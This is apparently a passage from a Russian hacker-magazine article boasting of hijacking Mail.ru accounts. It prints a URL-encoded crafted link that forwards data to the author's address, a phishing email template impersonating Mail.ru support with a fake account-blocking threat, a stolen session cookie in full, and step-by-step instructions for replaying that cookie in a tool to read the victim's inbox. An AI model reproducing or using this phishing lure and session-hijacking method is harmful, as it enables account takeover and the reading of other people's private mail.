MAIL.RU взломан!

NSD (www.nsd.ru)

Xakep, номер #068, стр. 068-056-4

После кодирования параметров ссылка приобрела более безобидную внешность: www.mail.ru/sendmsgok? %54%6f%3d%62%30%30%62%31%69%6b%40%72%65%61%6c%2e%78%61%6b%65%70%2e%72%75&%53%75%62%6a%65%63%74%3d%cf%f0%e8%e2%e5%f2%2c%20%e4%fb.... и т.д. Затем я написал пользователю письмо от лица администрации Mail.ru с текстом примерно такого содержания:

Form: Служба поддержки пользователей почтовой системы Mail.Ru >support@corp.mail.ru<

To: lopuh@mail.ru

Subj: Нарушение пользовательского соглашения

Уважаемый пользователь!

Вы нарушили 2-ю часть пункта 13 пользовательского соглашения. В ближайшее время ваш аккаунт будет заблокирован. Остановить блокировку аккаунта можно на этой странице: >сюда я вставил свою ядовитую ссылку<

Сразу же после того, как юзер кликнул по ссылке, мне пришло письмо такого содержания:

Стыренный кукис

p=QzQZAEt+VgAA; Mpop=1087929121:7a5977427771560319050219091d011b030c034f6a5d5e465e0207011b00720e1f4758575a501c405044461658505d5b174345:pinch-pass@mail.ru:; t=obLD1AAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAABAAAAAAAAAAAAAAQBwQcA; c0=xHefQgAAAAB11QEAAAAAAHXTAwAAAAAAfjECAAAAAACJ5AEAAAAA; c56=oiLbQAAAAABlFAEAAAAA; Mpopl=2122294019

Все! Я получил идентификатор сессии пользователя, а это и было моей целью.

Но что же делать дальше, как читать чужие письма? Здесь есть два пути. Первый - заюзать софтину CookieEditor, которую я уже подробно описывал в мартовском номере. Поэтому не буду повторяться и расскажу только о втором, более легком, на мой взгляд, пути, который заключается в использовании небезызвестной утилиты AccessDriver (http://nsd.ru/soft.php?group=hacksoft&razdel=other).

Сбор урожая

Слив и установив тулзу, я переключил ее в режим профи, для чего выбрал из меню «My Skill» пункт «EXPERT». Затем, выбрав во вкладке «Extra tools» пункт «HTTP Debuger», я приступил к активным действиям. В поле «HTTP Address» я засунул URL нужной мне страницы - например, чтобы посмотреть список писем в папке «Входящие», я набрал http://win.mail.ru/cgi-bin/msglist?folder=0. Далее я поставил галку «Use cookie» и набил в появившемся поле саму украденную куку. Осталось только нажать на батон «Connect», чтобы отправить запрос, и на «Result», чтобы просмотреть браузером полученный результат запроса.

Аналогичным образом можно просматривать и само тело письма, если указать в поле «HTTP Address» соответствующий адрес.

Заключение

Такие вот детские ошибки бывают на мегапорталах... Да что тут говорить, они есть везде, просто мы их не ищем, а сами они в глаза не бросаются. Если покопать со всех сторон какой-нибудь другой гиперпосещаемый ресурс, я уверен, баги и на нем найдутся.